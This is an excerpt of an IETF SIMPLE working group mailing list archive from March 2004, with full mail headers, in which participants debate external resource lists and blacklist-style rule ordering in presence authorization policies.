	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04809
	for <simple@ietf.org>; Wed, 24 Mar 2004 03:30:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63ly-0001P3-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:30:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63l9-0001DX-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:29:12 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63kK-0000qK-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:28:20 -0500
Received: from dynamicsoft.com ([63.113.46.86])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2O8QxNr023123;
	Wed, 24 Mar 2004 03:26:59 -0500 (EST)
Message-ID: <40614643.1090206@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: external lists, was: Re: [Simple] Comments on: First draft of text
 on semantic-based authorization policies [external lists]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com> <40604770.6030702@cs.columbia.edu>
In-Reply-To: <40604770.6030702@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 03:26:43 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Markus wrote:
> * External lists:
> Again, external list references were dropped due to GEOPRIV harmonization. I don't understand why they need to be disallowed in all environments. If the service provider has a centralized XCAP server for resource lists, those should be usable by reference in presence auth. rules. (FYI, OMA is working on common "group management" for different applications, and for this external references are also clearly needed.)
> -> Proposal: Add external lists, include considerations on where they are usable.

to which Henning replied:

> External lists are a separable issue. I would suggest that if this is to 
> be supported, it should be a separate 'layer'. That layer would simply 
> consist of a list of URI or local references identifying rule sets 
> elsewhere. That nicely separates rules from references to rules. I see 
> no advantage in commingling them.
> 
> The difficulty with separate lists is to define the appropriate caching 
> and failure behavior (how long should the rule maker try to get the 
> external rules? is normal HTTP caching used?)
> 
> As noted earlier, external lists are manageable from a privacy 
> perspective if they are additive. They break badly if you allow 
> exceptions that remove privileges.

and Ted commented:
> The exception processing issue is trickier, because I believe that there
> was common agreement that exceptions would be a very powerful
> tool, but that they were a fair number of cases where they were difficult
> to get right without ordering.  In the case where one rule might grant
> access to a piece of information and another forbid access to that
> piece of information, you have to have a precedence mechanism
> that says which one is implemented; that looks easy to get right,
> but in complex rule sets it can get very hairy very quickly.  I
> was originally against even the domain-based exceptions, but the
> careful crafting of a rule that avoids the precedence processing
> has convinced me that that exception can be implemented without
> too much risk of silly states.  But a general "let's allow exceptions
> again" raises all those issues again, without answering them; a
> concrete proposal for how to get them right would be much
> more valuable. 

Two points.

Firstly, I think that any external lists would have to follow the same 
model as the current domain exceptions. That is, they are not "global" 
exceptions; they merely serve to identify the set of people to whom this 
particular rule applies. This addresses Ted's concerns.

Henning has correctly pointed out that there are non-trivial issues 
involved in external lists, notably around error processing. While I 
agree that they are issues, they hardly seem insurmountable. In fact, 
the right thing to me seems to be:

1. if the external list cannot be obtained, then the rule must not be 
applied to the watcher (this provides privacy safety)
2. the external list cannot be cached unless there is a reliable way to 
perform cache synchronization. In other words, the PA must be able to 
ensure that the list it is using is current.
3. The amount of time to wait before giving up a fetch of the list is a 
matter of local configuration.
4. A presence server can cache the fact that it was unable to fetch the 
list, and then next time a request arrives, assume that it cannot be 
obtained. In such a case, point 1 applies. This will speed up presence 
processing, remain privacy safe, but at the cost of proving users with 
less information than they might otherwise be entitled to.

I also think that the external list is, as the name implies, a reference 
to a list of URI that resides elsewhere. It is not a reference to an 
external ruleset, as I think Henning has suggested. In one iteration of 
the xcap authorization rules, the URI was an xcap resource that resolved 
to a list of URI in the resource-lists application usage.

Does anyone see problems with this?

I would therefore suggest that we pursue extternal lists as a separate 
document, which can follow shortly after the baseline specification.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 03:33:33 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04963
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 03:33:33 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63ou-00078m-DD
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 03:33:04 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2O8X40o027448
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 03:33:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63ou-00078d-9D
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 03:33:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04926
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 03:33:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63or-0001yB-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 03:33:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63nt-0001m1-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 03:32:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63mw-0001ao-00; Wed, 24 Mar 2004 03:31:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63mv-0006Pj-7b; Wed, 24 Mar 2004 03:31:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63m0-0006Iv-Q3
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 03:30:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04809
	for <simple@ietf.org>; Wed, 24 Mar 2004 03:30:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63ly-0001P3-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:30:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63l9-0001DX-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:29:12 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63kK-0000qK-00
	for simple@ietf.org; Wed, 24 Mar 2004 03:28:20 -0500
Received: from dynamicsoft.com ([63.113.46.86])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2O8QxNr023123;
	Wed, 24 Mar 2004 03:26:59 -0500 (EST)
Message-ID: <40614643.1090206@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: external lists, was: Re: [Simple] Comments on: First draft of text
 on semantic-based authorization policies [external lists]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com> <40604770.6030702@cs.columbia.edu>
In-Reply-To: <40604770.6030702@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 03:26:43 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Markus wrote:
> * External lists:
> Again, external list references were dropped due to GEOPRIV harmonization. I don't understand why they need to be disallowed in all environments. If the service provider has a centralized XCAP server for resource lists, those should be usable by reference in presence auth. rules. (FYI, OMA is working on common "group management" for different applications, and for this external references are also clearly needed.)
> -> Proposal: Add external lists, include considerations on where they are usable.

to which Henning replied:

> External lists are a separable issue. I would suggest that if this is to 
> be supported, it should be a separate 'layer'. That layer would simply 
> consist of a list of URI or local references identifying rule sets 
> elsewhere. That nicely separates rules from references to rules. I see 
> no advantage in commingling them.
> 
> The difficulty with separate lists is to define the appropriate caching 
> and failure behavior (how long should the rule maker try to get the 
> external rules? is normal HTTP caching used?)
> 
> As noted earlier, external lists are manageable from a privacy 
> perspective if they are additive. They break badly if you allow 
> exceptions that remove privileges.

and Ted commented:
> The exception processing issue is trickier, because I believe that there
> was common agreement that exceptions would be a very powerful
> tool, but that they were a fair number of cases where they were difficult
> to get right without ordering.  In the case where one rule might grant
> access to a piece of information and another forbid access to that
> piece of information, you have to have a precedence mechanism
> that says which one is implemented; that looks easy to get right,
> but in complex rule sets it can get very hairy very quickly.  I
> was originally against even the domain-based exceptions, but the
> careful crafting of a rule that avoids the precedence processing
> has convinced me that that exception can be implemented without
> too much risk of silly states.  But a general "let's allow exceptions
> again" raises all those issues again, without answering them; a
> concrete proposal for how to get them right would be much
> more valuable. 

Two points.

Firstly, I think that any external lists would have to follow the same 
model as the current domain exceptions. That is, they are not "global" 
exceptions; they merely serve to identify the set of people to whom this 
particular rule applies. This addresses Ted's concerns.

Henning has correctly pointed out that there are non-trivial issues 
involved in external lists, notably around error processing. While I 
agree that they are issues, they hardly seem insurmountable. In fact, 
the right thing to me seems to be:

1. if the external list cannot be obtained, then the rule must not be 
applied to the watcher (this provides privacy safety)
2. the external list cannot be cached unless there is a reliable way to 
perform cache synchronization. In other words, the PA must be able to 
ensure that the list it is using is current.
3. The amount of time to wait before giving up a fetch of the list is a 
matter of local configuration.
4. A presence server can cache the fact that it was unable to fetch the 
list, and then next time a request arrives, assume that it cannot be 
obtained. In such a case, point 1 applies. This will speed up presence 
processing, remain privacy safe, but at the cost of proving users with 
less information than they might otherwise be entitled to.

I also think that the external list is, as the name implies, a reference 
to a list of URI that resides elsewhere. It is not a reference to an 
external ruleset, as I think Henning has suggested. In one iteration of 
the xcap authorization rules, the URI was an xcap resource that resolved 
to a list of URI in the resource-lists application usage.

Does anyone see problems with this?

I would therefore suggest that we pursue extternal lists as a separate 
document, which can follow shortly after the baseline specification.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 09:14:53 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23161
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 09:14:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B699h-0003WT-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 09:14:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B698a-0003Cd-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 09:13:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B697v-0002uN-00; Wed, 24 Mar 2004 09:13:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B697u-00070q-7u; Wed, 24 Mar 2004 09:13:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B697P-0006yk-Dn
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 09:12:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23000
	for <simple@ietf.org>; Wed, 24 Mar 2004 09:12:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B697N-0002qF-00
	for simple@ietf.org; Wed, 24 Mar 2004 09:12:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B696C-0002Yp-00
	for simple@ietf.org; Wed, 24 Mar 2004 09:11:17 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B695H-0002Ii-00
	for simple@ietf.org; Wed, 24 Mar 2004 09:10:19 -0500
Received: from bear.cs.columbia.edu (IDENT:kc+CFmXrzTPJM2Y/1vKxTLFzP/ZlE9Eg@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2OE99RI014574
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Wed, 24 Mar 2004 09:09:09 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-96-135.mad.east.verizon.net [138.89.96.135])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2OE95NO018113
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 24 Mar 2004 09:09:06 -0500
Message-ID: <4061967C.4070801@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com>
In-Reply-To: <40613FE8.909@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-PMX-Version: 4.5.0.92886, Antispam-Core: 4.0.4.93542, Antispam-Data: 2004.3.23.95127
X-PerlMx-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __USER_AGENT 0, X_ACCEPT_LANG 0, __MIME_VERSION 0, __TO_MALFORMED_2 0, __REFERENCES 0, __IN_REP_TO 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __UNUSABLE_MSGID 0, __NEW_DOMAIN_EXTENSIONS_2 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, REFERENCES 0.000, IN_REP_TO 0, USER_AGENT 0.000'
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 09:09:00 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


>> I think the concept of 'everybody gets to ask for permission before 
>> subscribing except bad guys A, B and C who I've already told to get 
>> lost' is useful and might implementable by an appropriate ordering of
>>  actions. For example, if you order actions as
>>
>> known_reject (highest), permit, ask, dont_bother (lowest, default)
>>
>> the right thing happens. However, caveats about file merging apply.
> 
> 
> Henning - I dont understand how this is privacy safe. In your ordering, 
> there is not a strictly increasing amount of information revealed as the 
> values increase.

The idea is 'known reject' trumps all other values. Thus, if your 
identity matches such a rule, it gets bounced even if a more 
encompassing rule allows to request permission.

This is unnecessary if we agree that global blacklists are a bad idea 
even for the subscription (as opposed to information delivery) phase. My 
notion is only needed if you want to support the notion:

"Everybody in the world, in any domain, gets to *ask* to subscribe to my 
presence, but Alice, Bob and Carol have already been told to take a hike 
and thus shouldn't even be able to ask."

Is this the type of rule we want to be to support?

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 24 09:15:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23221
	for <simple-archive@odin.ietf.org>; Wed, 24 Mar 2004 09:15:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B699k-0007Ez-Db
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 09:14:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2OEEucT027829
	for simple-archive@odin.ietf.org; Wed, 24 Mar 2004 09:14:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B699k-0007Em-80
	for simple-web-archive@optimus.ietf.org; Wed, 24 Mar 2004 09:14:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23179
	for <simple-web-archive@ietf.org>; Wed, 24 Mar 2004 09:14:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B699i-0003WY-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 09:14:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B698b-0003Ck-00
	for simple-web-archive@ietf.org; Wed, 24 Mar 2004 09:13:46 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B697v-0002uN-00; Wed, 24 Mar 2004 09:13:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B697u-00070q-7u; Wed, 24 Mar 2004 09:13:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B697P-0006yk-Dn
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 09:12:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23000
	for <simple@ietf.org>; Wed, 24 Mar 2004 09:12:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B697N-0002qF-00
	for simple@ietf.org; Wed, 24 Mar 2004 09:12:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B696C-0002Yp-00
	for simple@ietf.org; Wed, 24 Mar 2004 09:11:17 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B695H-0002Ii-00
	for simple@ietf.org; Wed, 24 Mar 2004 09:10:19 -0500
Received: from bear.cs.columbia.edu (IDENT:kc+CFmXrzTPJM2Y/1vKxTLFzP/ZlE9Eg@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2OE99RI014574
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Wed, 24 Mar 2004 09:09:09 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-96-135.mad.east.verizon.net [138.89.96.135])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2OE95NO018113
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 24 Mar 2004 09:09:06 -0500
Message-ID: <4061967C.4070801@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com>
In-Reply-To: <40613FE8.909@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-PMX-Version: 4.5.0.92886, Antispam-Core: 4.0.4.93542, Antispam-Data: 2004.3.23.95127
X-PerlMx-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __USER_AGENT 0, X_ACCEPT_LANG 0, __MIME_VERSION 0, __TO_MALFORMED_2 0, __REFERENCES 0, __IN_REP_TO 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __UNUSABLE_MSGID 0, __NEW_DOMAIN_EXTENSIONS_2 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, REFERENCES 0.000, IN_REP_TO 0, USER_AGENT 0.000'
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 09:09:00 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


>> I think the concept of 'everybody gets to ask for permission before 
>> subscribing except bad guys A, B and C who I've already told to get 
>> lost' is useful and might implementable by an appropriate ordering of
>>  actions. For example, if you order actions as
>>
>> known_reject (highest), permit, ask, dont_bother (lowest, default)
>>
>> the right thing happens. However, caveats about file merging apply.
> 
> 
> Henning - I dont understand how this is privacy safe. In your ordering, 
> there is not a strictly increasing amount of information revealed as the 
> values increase.

The idea is 'known reject' trumps all other values. Thus, if your 
identity matches such a rule, it gets bounced even if a more 
encompassing rule allows to request permission.

This is unnecessary if we agree that global blacklists are a bad idea 
even for the subscription (as opposed to information delivery) phase. My 
notion is only needed if you want to support the notion:

"Everybody in the world, in any domain, gets to *ask* to subscribe to my 
presence, but Alice, Bob and Carol have already been told to take a hike 
and thus shouldn't even be able to ask."

Is this the type of rule we want to be to support?

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 12:24:12 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07681
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 12:24:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6C6v-0005Hp-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 12:24:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6C5y-0005Dp-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 12:23:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6C4z-000599-00; Wed, 24 Mar 2004 12:22:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6C4w-00018C-L4; Wed, 24 Mar 2004 12:22:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6C44-0000zS-HV
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 12:21:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA07559
	for <simple@ietf.org>; Wed, 24 Mar 2004 12:21:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6C43-00054Q-00
	for simple@ietf.org; Wed, 24 Mar 2004 12:21:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6C34-0004yw-00
	for simple@ietf.org; Wed, 24 Mar 2004 12:20:15 -0500
Received: from ithilien.qualcomm.com ([129.46.51.59])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6C2D-0004nP-00
	for simple@ietf.org; Wed, 24 Mar 2004 12:19:21 -0500
Received: from crowley.qualcomm.com (crowley.qualcomm.com [129.46.61.151])
	by ithilien.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i2OHII0k018225;
	Wed, 24 Mar 2004 09:18:19 -0800 (PST)
Received: from [129.46.227.161] (carbuncle.qualcomm.com [129.46.227.161])
	by crowley.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i2OHIGVl017828;
	Wed, 24 Mar 2004 09:18:16 -0800 (PST)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
Message-Id: <p06020400bc8772ec8a91@[129.46.227.161]>
In-Reply-To: <4061967C.4070801@cs.columbia.edu>
References: 
 <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
 <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com>
 <4061967C.4070801@cs.columbia.edu>
To: Henning Schulzrinne <hgs@cs.columbia.edu>,
